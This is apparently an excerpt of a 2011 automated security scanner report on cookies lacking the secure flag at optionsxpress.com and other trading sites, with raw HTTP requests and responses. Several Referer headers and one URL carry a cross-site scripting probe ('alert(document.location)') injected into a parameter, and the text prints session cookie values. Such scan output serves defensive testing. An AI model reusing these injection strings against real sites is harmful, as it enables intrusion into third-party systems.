<table width="100%" border="0" align="center" cellpadding="4" cellspacing="0" class="contentpane">
...[SNIP]...
<br />
       <input type="password" id="passwd" name="passwd" class="inputbox" size="18" alt="password" />
   </p>
...[SNIP]...

6. SSL cookie without secure flag set previous next
There are 54 instances of this issue:

https://www.optionsxpress.com/new_account.asp
https://www.optionsxpress.com/new_account.asp
https://www.optionsxpress.com/welcome.asp
https://account.optionsxpress.com/OpenAccount/Index
https://account.optionsxpress.com/OpenAccount/NewAccountAjax/GenericHandler
https://account.optionsxpress.com/OpenAccount/Scripts/nap.css
https://account.optionsxpress.com/OpenAccount/Scripts/napgeneral.js
https://account.optionsxpress.com/OpenAccount/Scripts/naponload.js
https://account.optionsxpress.com/OpenAccount/Scripts/napvalidate.js
https://account.optionsxpress.com/css/oxps.css
https://account.optionsxpress.com/favicon.ico
https://account.optionsxpress.com/images/btn_next_step.jpg
https://account.optionsxpress.com/images/icon_arrow.jpg
https://account.optionsxpress.com/images/icons/log_in.gif
https://account.optionsxpress.com/images/logos/firm/newlogo_ox.gif
https://account.optionsxpress.com/images/logos/firm/newlogo_oxb5a37alert(document.location)//18aaa9ddc45.gif
https://account.optionsxpress.com/images/minus_new_acct.gif
https://account.optionsxpress.com/images/newaccount/account_select1.gif
https://account.optionsxpress.com/images/newaccount/account_select2.gif
https://account.optionsxpress.com/images/newaccount/nap_error_icon.png
https://account.optionsxpress.com/images/newaccount/nap_tip_icon.gif
https://account.optionsxpress.com/images/openAccount_bottom.jpg
https://account.optionsxpress.com/images/plus_new_acct.gif
https://account.optionsxpress.com/images/rightColumn_divider.jpg
https://account.optionsxpress.com/images/styles/bubble/b.gif
https://account.optionsxpress.com/images/styles/bubble/bl.gif
https://account.optionsxpress.com/images/styles/bubble/br.gif
https://account.optionsxpress.com/images/styles/bubble/l.gif
https://account.optionsxpress.com/images/styles/bubble/r.gif
https://account.optionsxpress.com/images/styles/bubble/t.gif
https://account.optionsxpress.com/images/styles/bubble/tl.gif
https://account.optionsxpress.com/images/styles/bubble/tr.gif
https://account.optionsxpress.com/images/welcome/home/log_out.gif
https://account.optionsxpress.com/images/welcome/home/open_account_4.gif
https://account.optionsxpress.com/inc/general.js
https://account.optionsxpress.com/inc/interface.js
https://account.optionsxpress.com/inc/js/plugins/accordion.js
https://account.optionsxpress.com/inc/js/plugins/jquery.blockUI.js
https://account.optionsxpress.com/inc/newaccount/general.js
https://account.optionsxpress.com/inc/newaccount/jquer.ui.all.css
https://account.optionsxpress.com/inc/newaccount/jquery-1.3.2.min.js
https://account.optionsxpress.com/inc/newaccount/jquery.autotab.js
https://account.optionsxpress.com/inc/newaccount/jquery.scrollTo-min.js
https://account.optionsxpress.com/inc/newaccount/styles.css
https://account.optionsxpress.com/inc/s_code.js
https://adwords.google.com/um/StartNewLogin
https://icewebinar.webex.com/icewebinar/lsr.php
https://interactivebrokers.webex.com/interactivebrokers/lsr.php
https://interactivebrokers.webex.com/interactivebrokers/onstage/g.php
https://www.cqgtrader.com/Languages/USEng/main.asp
https://www.optionsxpress.com/downloads/financial_services_guide.pdf
https://www.optionsxpress.com/login.asp
https://www.pfgboss.com/Default.aspx
https://www.secureclient5.ranweb.com/login/ranweb.asp

Issue background

If the secure flag is set on a cookie, then browsers will not submit the cookie in any requests that use an unencrypted HTTP connection, thereby preventing the cookie from being trivially intercepted by an attacker monitoring network traffic. If the secure flag is not set, then the cookie will be transmitted in clear-text if the user visits any HTTP URLs within the cookie's scope. An attacker may be able to induce this event by feeding a user suitable links, either directly or via another web site. Even if the domain which issued the cookie does not host any content that is accessed over HTTP, an attacker may be able to use links of the form http://example.com:443/ to perform the same attack.

Issue remediation

The secure flag should be set on all cookies that are used for transmitting sensitive data when accessing content over HTTPS. If cookies are used to transmit session tokens, then areas of the application that are accessed over HTTPS should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications.

6.1. https://www.optionsxpress.com/new_account.asp previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	https://www.optionsxpress.com
Path:	/new_account.asp

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

ASPSESSIONIDQCDSCTCB=DJOPBMDAGLGCJENDBNKKAEHI; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /new_account.asp?intcmp=lp_sales_futures HTTP/1.1
Host: www.optionsxpress.com
Connection: keep-alive
Referer: http://www.optionsxpress.com/promos/experience_an_options_specialist.aspx?intcmp=lp_sales_futures&cmpid=gsus23305007&ef_id=zqROZUBXyFQAAIdR:20110908192437:s
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Firm=OX; TLTSID=AF390C804BE14C3A1579AEAAAD65A123; mbox=check#true#1315527980|session#1315527919598-875378#1315529780|PC#1315527919598-875378.19#1316737521; CMPID=gsus23305007; s_cc=true; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|27348B3F85159F3A-600001768000142C[CE]; TLTHID=3DAC4327436FC1E882AB69BF2C12F5CC; s_ev23=%5B%5B%27gsus23305007%27%2C%271315527951277%27%5D%5D; s_campaign=gsus23305007

Response

HTTP/1.1 302 Object moved
Date: Thu, 08 Sep 2011 19:25:16 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Location: https://account.optionsxpress.com/OpenAccount/Index?intcmp=lp_sales_futures&firm=OX
Content-Length: 208
Content-Type: text/html
Expires: Thu, 08 Sep 2011 19:25:16 GMT
Set-Cookie: ASPSESSIONIDQCDSCTCB=DJOPBMDAGLGCJENDBNKKAEHI; path=/
Cache-control: private

<head><title>Object moved</title></head>
<body><h1>Object Moved</h1>This object may be found <a HREF="https://account.optionsxpress.com/OpenAccount/Index?intcmp=lp_sales_futures&firm=OX">here</a>.
...[SNIP]...

6.2. https://www.optionsxpress.com/new_account.asp previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	https://www.optionsxpress.com
Path:	/new_account.asp

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

ASPSESSIONIDSAASBSDA=IICGFGHAGIOCHNMHCMJLCMKM; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

HTTP/1.1 302 Object moved
Date: Thu, 08 Sep 2011 19:45:33 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Location: https://account.optionsxpress.com/OpenAccount/Index?intcmp=lp_sales_futures&firm=OX
Content-Length: 208
Content-Type: text/html
Expires: Thu, 08 Sep 2011 19:45:33 GMT
Set-Cookie: ASPSESSIONIDSAASBSDA=IICGFGHAGIOCHNMHCMJLCMKM; path=/
Cache-control: private

<head><title>Object moved</title></head>
<body><h1>Object Moved</h1>This object may be found <a HREF="https://account.optionsxpress.com/OpenAccount/Index?intcmp=lp_sales_futures&firm=OX">here</a>.
...[SNIP]...

6.3. https://www.optionsxpress.com/welcome.asp previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	https://www.optionsxpress.com
Path:	/welcome.asp

Issue detail

The following cookies were issued by the application and do not have the secure flag set:

ASPSESSIONIDCSTSAQDA=EALHAKIANBNPKJOEIOKNNICO; path=/
TLTHID=23D6A57C4BE8F428BC3F1C97DD0273A0; Path=/; Domain=.optionsxpress.com
TLTCNT=DAWEB250000000000012272

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /welcome.asp HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 0
Content-Type: text/html
Expires: Thu, 08 Sep 2011 19:46:55 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: ASPSESSIONIDCSTSAQDA=EALHAKIANBNPKJOEIOKNNICO; path=/
Set-Cookie: TLTHID=23D6A57C4BE8F428BC3F1C97DD0273A0; Path=/; Domain=.optionsxpress.com
HostName: DAWEB25
Set-Cookie: TLTCNT=DAWEB250000000000012272
Date: Thu, 08 Sep 2011 19:46:54 GMT
Connection: close

6.4. https://account.optionsxpress.com/OpenAccount/Index previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/OpenAccount/Index

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

TLTHID=8BDB9C054DE94B794A725090608A94A2; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /OpenAccount/Index?intcmp=lp_sales_futures&firm=OX HTTP/1.1
Host: account.optionsxpress.com
Connection: keep-alive
Referer: http://www.optionsxpress.com/promos/experience_an_options_specialist.aspx?intcmp=lp_sales_futures&cmpid=gsus23305007&ef_id=zqROZUBXyFQAAIdR:20110908192437:s
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: TLTSID=AF390C804BE14C3A1579AEAAAD65A123; mbox=check#true#1315527980|session#1315527919598-875378#1315529780|PC#1315527919598-875378.19#1316737521; s_cc=true; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|27348B3F85159F3A-600001768000142C[CE]; s_ev23=%5B%5B%27gsus23305007%27%2C%271315527951277%27%5D%5D; s_campaign=gsus23305007; TLTHID=7168044948469A60359581B20B826924

Response

6.5. https://account.optionsxpress.com/OpenAccount/NewAccountAjax/GenericHandler previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/OpenAccount/NewAccountAjax/GenericHandler

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

TLTHID=DAA835CC43F5D88C7C759C8916AE73EE; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /OpenAccount/NewAccountAjax/GenericHandler?methodName=GetFirmFromCountry&parameters=1 HTTP/1.1
Host: account.optionsxpress.com
Connection: keep-alive
Referer: https://account.optionsxpress.com/OpenAccount/Index?intcmp=lp_sales_futures&firm=OX
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: TLTSID=AF390C804BE14C3A1579AEAAAD65A123; mbox=check#true#1315527980|session#1315527919598-875378#1315529780|PC#1315527919598-875378.19#1316737521; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|27348B3F85159F3A-600001768000142C[CE]; s_ev23=%5B%5B%27gsus23305007%27%2C%271315527951277%27%5D%5D; s_campaign=gsus23305007; Firm=OX; TLTHID=6BF746C24651B1BAD934E8B86A795596; INTCMP=lp_sales_futures; s_pers=%20gpv_pn%3DOpenAccountprop5Index%7C1315529764039%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 4
Content-Type: application/json; charset=utf-8
Expires: -1
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
X-AspNetMvc-Version: 1.0
Set-Cookie: TLTHID=DAA835CC43F5D88C7C759C8916AE73EE; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:25:26 GMT

"OX"

6.6. https://account.optionsxpress.com/OpenAccount/Scripts/nap.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/OpenAccount/Scripts/nap.css

Issue detail

The following cookies were issued by the application and do not have the secure flag set:

TLTHID=0CB5EB094D57EFBDD7F02D873075B0F6; Path=/; Domain=.optionsxpress.com
TLTSID=0CB5EB094D57EFBDD7F02D873075B0F6; Path=/; Domain=.optionsxpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /OpenAccount/Scripts/nap.css HTTP/1.1
Host: account.optionsxpress.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://account.optionsxpress.com/OpenAccount/Index?intcmp=lp_sales_futures&firm=OXb5a37%0aalert(document.location)//18aaa9ddc45
Cookie: TLTHID=0CB03A254689E5598130BFBF7D2A396D

Response

HTTP/1.1 200 OK
Content-Length: 8210
Content-Type: text/css
Content-Location: http://account.optionsxpress.com/OpenAccount/Scripts/nap.css
Last-Modified: Tue, 24 May 2011 16:44:37 GMT
Accept-Ranges: bytes
ETag: "80482bde311acc1:efb"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=0CB5EB094D57EFBDD7F02D873075B0F6; Path=/; Domain=.optionsxpress.com
Set-Cookie: TLTSID=0CB5EB094D57EFBDD7F02D873075B0F6; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:33:28 GMT
Vary: Accept-Encoding
Connection: Keep-Alive

*
{
margin: 0;
padding: 0; /*font:bold 12px "Lucida Grande", Arial, sans-serif; */
}

#columnContainerTwo,
#openAccount
...[SNIP]...

6.7. https://account.optionsxpress.com/OpenAccount/Scripts/napgeneral.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/OpenAccount/Scripts/napgeneral.js

Issue detail

The following cookies were issued by the application and do not have the secure flag set:

TLTHID=763E378F444B9764FB516DBF60432013; Path=/; Domain=.optionsxpress.com
TLTSID=763E378F444B9764FB516DBF60432013; Path=/; Domain=.optionsxpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /OpenAccount/Scripts/napgeneral.js HTTP/1.1
Host: account.optionsxpress.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://account.optionsxpress.com/OpenAccount/Index?intcmp=lp_sales_futures&firm=OXb5a37%0aalert(document.location)//18aaa9ddc45
Cookie: TLTHID=0CB03A254689E5598130BFBF7D2A396D

Response

HTTP/1.1 200 OK
Content-Length: 69748
Content-Type: application/x-javascript
Content-Location: http://account.optionsxpress.com/OpenAccount/Scripts/napgeneral.js
Last-Modified: Tue, 10 May 2011 16:55:21 GMT
Accept-Ranges: bytes
ETag: "80623dc33fcc1:ef3"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=763E378F444B9764FB516DBF60432013; Path=/; Domain=.optionsxpress.com
Set-Cookie: TLTSID=763E378F444B9764FB516DBF60432013; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:33:28 GMT
Vary: Accept-Encoding
Connection: Keep-Alive

/*******************************************************************************************************************
SB 08/12/2010
******************************************************************
...[SNIP]...

6.8. https://account.optionsxpress.com/OpenAccount/Scripts/naponload.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/OpenAccount/Scripts/naponload.js

Issue detail

The following cookies were issued by the application and do not have the secure flag set:

TLTHID=E9AF2F6144A0120B1C2E90B8BF0628B1; Path=/; Domain=.optionsxpress.com
TLTSID=E9AF2F6144A0120B1C2E90B8BF0628B1; Path=/; Domain=.optionsxpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /OpenAccount/Scripts/naponload.js HTTP/1.1
Host: account.optionsxpress.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://account.optionsxpress.com/OpenAccount/Index?intcmp=lp_sales_futures&firm=OXb5a37%0aalert(document.location)//18aaa9ddc45
Cookie: TLTHID=0CB03A254689E5598130BFBF7D2A396D

Response

HTTP/1.1 200 OK
Content-Length: 12001
Content-Type: application/x-javascript
Content-Location: http://account.optionsxpress.com/OpenAccount/Scripts/naponload.js
Last-Modified: Tue, 23 Nov 2010 14:53:52 GMT
Accept-Ranges: bytes
ETag: "040423e1e8bcb1:fc8"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=E9AF2F6144A0120B1C2E90B8BF0628B1; Path=/; Domain=.optionsxpress.com
Set-Cookie: TLTSID=E9AF2F6144A0120B1C2E90B8BF0628B1; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:33:28 GMT
Vary: Accept-Encoding
Connection: Keep-Alive

/*******************************************************************************************************************
SB 08/12/2010
******************************************************************
...[SNIP]...

6.9. https://account.optionsxpress.com/OpenAccount/Scripts/napvalidate.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/OpenAccount/Scripts/napvalidate.js

Issue detail

The following cookies were issued by the application and do not have the secure flag set:

TLTHID=4489136141A3C546F157268319DC82E2; Path=/; Domain=.optionsxpress.com
TLTSID=4489136141A3C546F157268319DC82E2; Path=/; Domain=.optionsxpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /OpenAccount/Scripts/napvalidate.js HTTP/1.1
Host: account.optionsxpress.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://account.optionsxpress.com/OpenAccount/Index?intcmp=lp_sales_futures&firm=OXb5a37%0aalert(document.location)//18aaa9ddc45
Cookie: TLTHID=0CB03A254689E5598130BFBF7D2A396D

Response

HTTP/1.1 200 OK
Content-Length: 154727
Content-Type: application/x-javascript
Content-Location: http://account.optionsxpress.com/OpenAccount/Scripts/napvalidate.js
Last-Modified: Thu, 07 Apr 2011 17:11:23 GMT
Accept-Ranges: bytes
ETag: "802f1d246f5cb1:e65"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=4489136141A3C546F157268319DC82E2; Path=/; Domain=.optionsxpress.com
Set-Cookie: TLTSID=4489136141A3C546F157268319DC82E2; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:33:28 GMT
Vary: Accept-Encoding
Connection: Keep-Alive

/*******************************************************************************************************************
SB 08/12/2010
******************************************************************
...[SNIP]...

6.10. https://account.optionsxpress.com/css/oxps.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/css/oxps.css

Issue detail

The following cookies were issued by the application and do not have the secure flag set:

TLTHID=4DCE15C74DC6FFB53C82A6AF748A4ACA; Path=/; Domain=.optionsxpress.com
TLTSID=4DCE15C74DC6FFB53C82A6AF748A4ACA; Path=/; Domain=.optionsxpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /css/oxps.css HTTP/1.1
Host: account.optionsxpress.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://account.optionsxpress.com/OpenAccount/Index?intcmp=lp_sales_futures&firm=OXb5a37%0aalert(document.location)//18aaa9ddc45
Cookie: TLTHID=0CB03A254689E5598130BFBF7D2A396D

Response

HTTP/1.1 200 OK
Content-Length: 66752
Content-Type: text/css
Last-Modified: Mon, 10 May 2010 20:56:05 GMT
Accept-Ranges: bytes
ETag: "b095c23483f0ca1:eba"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=4DCE15C74DC6FFB53C82A6AF748A4ACA; Path=/; Domain=.optionsxpress.com
Set-Cookie: TLTSID=4DCE15C74DC6FFB53C82A6AF748A4ACA; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:33:29 GMT
Vary: Accept-Encoding
Connection: Keep-Alive

@import url("https://images.optionsxpress.com/css/reset.css");

html,body {
   background: #ffffff;
   background-image: url("https://images.optionsxpress.com/images/prelogin/ox_bg.jpg");
   margin: 0p
...[SNIP]...

6.11. https://account.optionsxpress.com/favicon.ico previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/favicon.ico

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

TLTHID=F04D32D8484F69A30C544985DCE10F86; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /favicon.ico HTTP/1.1
Host: account.optionsxpress.com
Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: TLTSID=AF390C804BE14C3A1579AEAAAD65A123; mbox=check#true#1315527980|session#1315527919598-875378#1315529780|PC#1315527919598-875378.19#1316737521; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|27348B3F85159F3A-600001768000142C[CE]; s_ev23=%5B%5B%27gsus23305007%27%2C%271315527951277%27%5D%5D; s_campaign=gsus23305007; INTCMP=lp_sales_futures; s_pers=%20gpv_pn%3DOpenAccountprop5Index%7C1315529764039%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; Firm=OX; TLTHID=61F93426422DA13562D689B5022DBFC6

Response

HTTP/1.1 200 OK
Content-Length: 1150
Content-Type: image/x-icon
Last-Modified: Fri, 20 Mar 2009 15:16:36 GMT
Accept-Ranges: bytes
ETag: "062bdc6ea9c91:fb9"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=F04D32D8484F69A30C544985DCE10F86; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:25:31 GMT

............ .h.......(....... ..... ...................................................................................................................................................................
...[SNIP]...

6.12. https://account.optionsxpress.com/images/btn_next_step.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/btn_next_step.jpg

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

TLTHID=A8232ADF480D39289D31E09763CACF10; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /images/btn_next_step.jpg HTTP/1.1
Host: account.optionsxpress.com
Connection: keep-alive
Referer: https://account.optionsxpress.com/OpenAccount/Index?intcmp=lp_sales_futures&firm=OX
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: TLTSID=AF390C804BE14C3A1579AEAAAD65A123; mbox=check#true#1315527980|session#1315527919598-875378#1315529780|PC#1315527919598-875378.19#1316737521; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|27348B3F85159F3A-600001768000142C[CE]; s_ev23=%5B%5B%27gsus23305007%27%2C%271315527951277%27%5D%5D; s_campaign=gsus23305007; Firm=OX; TLTHID=6BF746C24651B1BAD934E8B86A795596; INTCMP=lp_sales_futures; s_pers=%20gpv_pn%3DOpenAccountprop5Index%7C1315529764039%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B

Response

HTTP/1.1 200 OK
Content-Length: 2414
Content-Type: image/jpeg
Last-Modified: Wed, 05 Nov 2008 18:29:43 GMT
Accept-Ranges: bytes
ETag: "805ab78743fc91:e6d"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=A8232ADF480D39289D31E09763CACF10; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:25:27 GMT

......JFIF.....d.d......Ducky.......<......Adobe.d.................... ... .......

.

..........................................................................................................@.X..
...[SNIP]...

6.13. https://account.optionsxpress.com/images/icon_arrow.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/icon_arrow.jpg

Issue detail

The following cookies were issued by the application and do not have the secure flag set:

TLTHID=40AC7ADE4E4FC6801AC62196A778AB08; Path=/; Domain=.optionsxpress.com
TLTSID=40AC7ADE4E4FC6801AC62196A778AB08; Path=/; Domain=.optionsxpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /images/icon_arrow.jpg HTTP/1.1
Host: account.optionsxpress.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://account.optionsxpress.com/OpenAccount/Index?intcmp=lp_sales_futures&firm=OXb5a37%0aalert(document.location)//18aaa9ddc45
Cookie: TLTHID=0CB03A254689E5598130BFBF7D2A396D

Response

HTTP/1.1 200 OK
Content-Length: 449
Content-Type: image/jpeg
Last-Modified: Thu, 10 Jul 2008 18:51:58 GMT
Accept-Ranges: bytes
ETag: "6027ab7bee2c81:ef3"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=40AC7ADE4E4FC6801AC62196A778AB08; Path=/; Domain=.optionsxpress.com
Set-Cookie: TLTSID=40AC7ADE4E4FC6801AC62196A778AB08; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:33:30 GMT

......JFIF.....d.d......Ducky.......<......Adobe.d.................... ... .......

.

..............................................................................................................
...[SNIP]...

6.14. https://account.optionsxpress.com/images/icons/log_in.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/icons/log_in.gif

Issue detail

The following cookies were issued by the application and do not have the secure flag set:

TLTHID=21EAC738463348E4E7697498E4FA20F5; Path=/; Domain=.optionsxpress.com
TLTSID=21EAC738463348E4E7697498E4FA20F5; Path=/; Domain=.optionsxpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /images/icons/log_in.gif HTTP/1.1
Host: account.optionsxpress.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://account.optionsxpress.com/OpenAccount/Index?intcmp=lp_sales_futures&firm=OXb5a37%0aalert(document.location)//18aaa9ddc45
Cookie: TLTHID=0CB03A254689E5598130BFBF7D2A396D

Response

HTTP/1.1 200 OK
Content-Length: 1929
Content-Type: image/gif
Last-Modified: Thu, 06 Nov 2008 19:47:15 GMT
Accept-Ranges: bytes
ETag: "80a3e3774840c91:e6d"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=21EAC738463348E4E7697498E4FA20F5; Path=/; Domain=.optionsxpress.com
Set-Cookie: TLTSID=21EAC738463348E4E7697498E4FA20F5; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:33:30 GMT

GIF89a2.&....]...........{........6b|........................P}.U..........................l....................Iv.........................Ly..........z...........z....................................
...[SNIP]...

6.15. https://account.optionsxpress.com/images/logos/firm/newlogo_ox.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
